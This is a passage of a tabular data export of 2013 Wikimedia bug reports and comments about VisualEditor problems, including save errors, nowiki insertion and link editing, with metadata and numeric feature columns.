*** This bug has been marked as a duplicate of bug 50955 ***",,,1374267909,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z2agxnwfy52lvo6yjxrd,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6521739130434783,"Merging with bug 50955.

*** This bug has been marked as a duplicate of bug 50955 ***"
236180,"VisualEditor: Relabel buttons in ""cancel editing"" confirmation dialog","The confirmation dialog should have more descriptive buttons, such as [Discard edits] [Continue editing], or [Leave editing mode] [Return to editing], etc.

For this to happen, it needs to become a jQuery dialog.

In fact, VE shouldn't use native confirm() dialogs; the implementation in most browsers is crappy.",,,1374212616,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-z2agxnwfy52lvo6yjxrd,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,10.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,9.0,3.8142857142857145,0.7285714285714285,"The confirmation dialog should have more descriptive buttons, such as [Discard edits] [Continue editing], or [Leave editing mode] [Return to editing], etc.

For this to happen, it needs to become a jQuery dialog.

In fact, VE shouldn't use native confirm() dialogs; the implementation in most browsers is crappy."
53653,"VisualEditor: Double-clicking inside edit surface sometimes causes uncaught JS ""offset could not be translated"" errors","Steps to reproduce:

1) Open https://en.wikipedia.org/wiki/Jam,_Iran?veaction=edit

2) Double-click repeatedly inside one of the templates (e.g. infobox)

The following JavaScript error appears on the console:

Uncaught Error: Offset could not be translated to a DOM element and offset: 442 

Chrome 28/Ubuntu

See also: bug 51526

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374199860,1385392053.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-3qhhrxr2wofxfssyycod,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,19.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,6.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.876543209876543,0.7037037037037037,"Steps to reproduce:

1) Open URL

2) Double-click repeatedly inside one of the templates (e.g. infobox)

The following JavaScript error appears on the console:

Uncaught Error: Offset could not be translated to a DOM element and offset: 442 

Chrome 28/Ubuntu

See also: bug 51526

--------------------------
**Version**: unspecified
**Severity**: normal"
236087,"VisualEditor: Double-clicking inside edit surface sometimes causes uncaught JS ""offset could not be translated"" errors",I can't reproduce this now' provisionally closing as WORKSFORME. Please re-open if you can still reproduce.,,,1385392053,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3qhhrxr2wofxfssyycod,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,0.0,5.0,0.0,18.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,9.0,14.0,5.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.181818181818182,0.9090909090909091,I can't reproduce this now' provisionally closing as WORKSFORME. Please re-open if you can still reproduce.
53619,"VisualEditor: ""Leave Feedback"" link greyed out; might confuse users","The ""leave feedback"" link renders in grey, which might suggest to users that is not a functional element. Issue raised by English Wikipedia editor Hhhippo.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374162180,1385386362.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-2maqvichtgrs77o35tls,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.229166666666667,0.7708333333333334,"The ""leave feedback"" link renders in grey, which might suggest to users that is not a functional element. Issue raised by English Wikipedia editor Hhhippo.

--------------------------
**Version**: unspecified
**Severity**: normal"
234208,"VisualEditor: ""Leave Feedback"" link greyed out; might confuse users",This design was fixed some time ago but I forgot to tag this bug; sorry!,,,1385386362,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2maqvichtgrs77o35tls,task_subcomment,,True,c1,3,True,,,21,,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,18.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,1.0,This design was fixed some time ago but I forgot to tag this bug; sorry!
53618,"""Leave Feedback"" link rendering as two lines in some fonts","Using Firefox 22.0 on Ubuntu 12.04, English Wikipedia User:Hhhippo notes that ""I see an empty line between ''User guide'' and ''Leave'' and another one between ''Leave'' and ''feedback''. My very first thought was that ''Leave'' would be the switch for signing out of the beta test (note that I didn't click it ;-)""

The culprit, evidently is ""Ubuntu's default font: DejaVu Sans. That's a bit wider than e.g. Arial, so it causes a linebreak in the link. Maybe one could make that space non-breaking and have the flyout widen instead?""

http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564802026#Follow-up

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374162000,1374162111.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-pbxss6r2sg7qfrxykect,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.5,0.0,0.5,6.0,1.0,0.0,0.0,0.0,2.0,5.5,0.0,0.0,0.0,1.5,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,3.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,12.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,1.5,14.0,1.5,3.0,7.0,0.0,0.5,0.0,0.0,3.5,0.0,1.0,0.0,3.5,6.0,7.5,0.5,2.5,0.0,3.5,0.0,0.0,2.0,0.0,1.0,0.5,0.0,0.0,3.709255533199195,0.7305835010060362,"Using Firefox 22.0 on Ubuntu 12.04, English Wikipedia User:Hhhippo notes that ""I see an empty line between ''User guide'' and ''Leave'' and another one between ''Leave'' and ''feedback''. My very first thought was that ''Leave'' would be the switch for signing out of the beta test (note that I didn't click it ;-)""

The culprit, evidently is ""Ubuntu's default font: DejaVu Sans. That's a bit wider than e.g. Arial, so it causes a linebreak in the link. Maybe one could make that space non-breaking and have the flyout widen instead?""

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
234164,"""Leave Feedback"" link rendering as two lines in some fonts","This was already reported as bug 51335 (sorry!).

*** This bug has been marked as a duplicate of bug 51335 ***",,,1374162111,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pbxss6r2sg7qfrxykect,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.033333333333333,0.6666666666666666,"This was already reported as bug 51335 (sorry!).

*** This bug has been marked as a duplicate of bug 51335 ***"
53567,VisualEditor: Image is not displayed on Visual Editor,"The image from [1] and is not rendered on VisualEditor [2].

[1] https://pt.wikipedia.org/w/index.php?oldid=36419116
[2] https://pt.wikipedia.org/w/index.php?oldid=36419116&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51248",Needs Triage,90.0,1374088140,1395354371.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-tgo7euxf3cnwhcvmwsfs,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.8333333333333335,0.48148148148148145,"The image from [1] and is not rendered on VisualEditor [2].

[1] URL
[2] URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
255955,VisualEditor: Image is not displayed on Visual Editor,"I believe that this was a dupe of bug 51248.

*** This bug has been marked as a duplicate of bug 51248 ***",,,1395354371,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tgo7euxf3cnwhcvmwsfs,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.9310344827586206,0.6551724137931034,"I believe that this was a dupe of bug 51248.

*** This bug has been marked as a duplicate of bug 51248 ***"
53554,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing","At https://en.wikipedia.org/w/index.php?title=List_of_American_Dad!_characters&curid=2082680&diff=564675517&oldid=564302759 a user added a link using wikitext. The VisualEditor added <nowiki> tags around it (correct according to apparent design, incorrect according to desired behaviour). 

However, it also added <nowiki> tags around every other bit of pre-existing markup in the paragraph. This is incorrect according to my understanding of the design because even if they did want to include a literal string surrounded by square brackets they did not want to alter the existing markup.

Bug 5069 comment 5 suggests to me that this isn't that bug but a different one, but not what number that other bug is.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374081420,1375199816.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rorj54kzrfz5yajplzy6,task_description,resolved,True,c1,3,False,False,True,2,,0.5,0.0,0.0,0.0,2.0,8.5,1.0,0.5,0.0,0.5,1.0,0.5,0.0,0.0,0.0,1.0,0.5,3.5,10.0,0.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.5,2.5,0.5,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,2.0,0.0,0.5,0.5,0.0,0.0,12.5,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,2.0,5.0,2.5,1.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,3.5,10.0,1.5,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.5,2.5,0.0,0.0,2.0,4.13000852514919,0.6859548167092924,"At URL a user added a link using wikitext. The VisualEditor added <nowiki> tags around it (correct according to apparent design, incorrect according to desired behaviour). 

However, it also added <nowiki> tags around every other bit of pre-existing markup in the paragraph. This is incorrect according to my understanding of the design because even if they did want to include a literal string surrounded by square brackets they did not want to alter the existing markup.

Bug 5069 comment 5 suggests to me that this isn't that bug but a different one, but not what number that other bug is.

--------------------------
**Version**: unspecified
**Severity**: normal"
255037,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing",This seems to have been fixed (I now can't reproduce) in the re-write of nowiki-ing code; sorry for the bug.,,,1375199810,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rorj54kzrfz5yajplzy6,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0689655172413794,0.9310344827586207,This seems to have been fixed (I now can't reproduce) in the re-write of nowiki-ing code; sorry for the bug.
255030,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing","Really sorry, but I meant Bug 50659 comment 5 
Dyslexia + typos to blame so entirely my fault.",,,1374081808,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rorj54kzrfz5yajplzy6,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"Really sorry, but I meant Bug 50659 comment 5 
Dyslexia + typos to blame so entirely my fault."
255023,"VisualEditor: <nowiki> tags added to all markup in paragraph, including pre-existing","Sorry, typo in that last line. It should refer to Bug 50569 comment 5",,,1374081645,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rorj54kzrfz5yajplzy6,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Sorry, typo in that last line. It should refer to Bug 50569 comment 5"
53534,Can't save,"Using Firefox 24, Ubuntu 13.04

What I did:
1. I was editing a page[1], made several small changes (fixing typos, rephrasing)
2. I clicked ""Save page"" which brings up the save dialog
3. I wrote a summary and clicked ""Save page"" again
4. The blue throbber line appears, disappears and leaves me with the save dialog still open (not saving anything)
5. I open the JS console and when I try to save again I see:
  a. The HTML is submitted to the API
  b. Before the response arrives (?) a JS error appears: ""TypeError: editApi is undefined""[2]
  c. The API responds with a ""200 OK"" which includes a JSON error[3]

When I open the JavaScript console I see the following: 1) The HTML is submitted to the API, and while that request to the API is in transit a JS error appears: 

[1] https://www.mediawiki.org/wiki/VisualEditor/Portal/sv
[2] File: https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2CviewPageTarget%7Cjquery.visibleText%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130717T024027Z&* Line: 85
[3] {""servedby"":""mw1203"",""error"":{""code"":""unknownerror"",""info"":""Unknown error: \""tpt-target-page\""""}}

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374070440,1374071458.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-lc76yoxati6qqmlqel6x,task_description,resolved,True,c1,3,False,False,True,2,,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,2.0,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,0.6666666666666666,0.0,1.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,13.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,2.0,14.333333333333334,1.0,1.3333333333333333,8.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,3.6666666666666665,3.6666666666666665,5.333333333333333,0.3333333333333333,3.6666666666666665,0.0,3.6666666666666665,0.0,1.6666666666666667,2.0,0.3333333333333333,1.3333333333333333,0.0,0.0,3.3333333333333335,3.531645569620253,0.6540084388185654,"Using Firefox 24, Ubuntu 13.04

What I did:
1. I was editing a page[1], made several small changes (fixing typos, rephrasing)
2. I clicked ""Save page"" which brings up the save dialog
3. I wrote a summary and clicked ""Save page"" again
4. The blue throbber line appears, disappears and leaves me with the save dialog still open (not saving anything)
5. I open the JS console and when I try to save again I see:
  a. The HTML is submitted to the API
  b. Before the response arrives (?) a JS error appears: ""TypeError: editApi is undefined""[2]
  c. The API responds with a ""200 OK"" which includes a JSON error[3]

When I open the JavaScript console I see the following: 1) The HTML is submitted to the API, and while that request to the API is in transit a JS error appears: 

[1] URL
[2] File: URL Line: 85
[3] {""servedby"":""mw1203"",""error"":{""code"":""unknownerror"",""info"":""Unknown error: \""tpt-target-page\""""}}

--------------------------
**Version**: unspecified
**Severity**: normal"
253978,Can't save,"

%%%*** This bug has been marked as a duplicate of bug 50284 ***%%%",,,1374071458,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-lc76yoxati6qqmlqel6x,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 50284 ***%%%"
253968,Can't save,"...and when I try to edit it using the traditional ""Edit source"" I actually get a real error message: ""This page cannot be updated manually. This page is a translation of the page VisualEditor/Portal and the translation can be updated using the translation tool.""

That message should be shown also when trying to edit with the VisualEditor.",,,1374071358,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-lc76yoxati6qqmlqel6x,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,13.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,6.0,6.0,0.0,6.0,0.0,4.0,0.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,4.085714285714285,0.6142857142857143,"...and when I try to edit it using the traditional ""Edit source"" I actually get a real error message: ""This page cannot be updated manually. This page is a translation of the page VisualEditor/Portal and the translation can be updated using the translation tool.""

That message should be shown also when trying to edit with the VisualEditor."
53531,Visual Editor: Adding text after a link includes that text in the link,"If you place the cursor after the last character of a link and start typing then your text becomes part of the displayed text for that link: [[Fish]] → [[Fish|Fish and chips]] rather than the inte.nded [[Fish]] and chips or [[Fish and chips]] which would be expected from a WYSIWYG editor (even if it isn't what is wanted).

There is no way to edit part of a link at all, the only way around it is to unlink the whole phrase and relink the part you want linked.

This is not usually a problem, as you can work around by starting from after the space after the link.

However, this is counter intuitive if you want to add punctuation after the link (add it after the space, delete the space, add space after the punctuation). It also means it is impossible to add unlinked text when the link ends the line, as happens often on disambiguation pages. For example try adding context to the links at Mandi#People. Apparently a workaround is to insert a line break, add the text and then delete the line break. I've not tested this myself though

It is possible this is the same as bug 50945 but I don't think it is.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374065040,1374679397.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-jo6lx3im2dnf4fgrh2cy,task_description,resolved,True,c1,3,False,False,True,2,,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,4.0,2.0,0.0,0.3333333333333333,1.0,1.6666666666666667,1.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,6.333333333333333,11.333333333333334,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,7.0,1.0,2.3333333333333335,2.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,14.333333333333334,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,8.666666666666666,4.0,6.333333333333333,1.3333333333333333,2.6666666666666665,11.0,0.0,0.0,0.0,0.0,5.666666666666667,0.0,0.3333333333333333,0.0,5.333333333333333,11.333333333333334,0.3333333333333333,0.0,0.0,0.0,5.333333333333333,0.0,1.0,2.0,0.3333333333333333,1.0,0.0,0.0,3.3333333333333335,3.6580524344569287,0.6193924261339991,"If you place the cursor after the last character of a link and start typing then your text becomes part of the displayed text for that link: [[Fish]] → [[Fish|Fish and chips]] rather than the inte.nded [[Fish]] and chips or [[Fish and chips]] which would be expected from a WYSIWYG editor (even if it isn't what is wanted).

There is no way to edit part of a link at all, the only way around it is to unlink the whole phrase and relink the part you want linked.

This is not usually a problem, as you can work around by starting from after the space after the link.

However, this is counter intuitive if you want to add punctuation after the link (add it after the space, delete the space, add space after the punctuation). It also means it is impossible to add unlinked text when the link ends the line, as happens often on disambiguation pages. For example try adding context to the links at Mandi#People. Apparently a workaround is to insert a line break, add the text and then delete the line break. I've not tested this myself though

It is possible this is the same as bug 50945 but I don't think it is.

--------------------------
**Version**: unspecified
**Severity**: normal"
253720,Visual Editor: Adding text after a link includes that text in the link,"This is actually the same as bug 51463 which we just fixed and are deploying now. Sorry for the inconvenience.

*** This bug has been marked as a duplicate of bug 51463 ***",,,1374679397,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jo6lx3im2dnf4fgrh2cy,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.525,0.7,"This is actually the same as bug 51463 which we just fixed and are deploying now. Sorry for the inconvenience.

*** This bug has been marked as a duplicate of bug 51463 ***"
253712,Visual Editor: Adding text after a link includes that text in the link,"**JohnCD67** wrote:

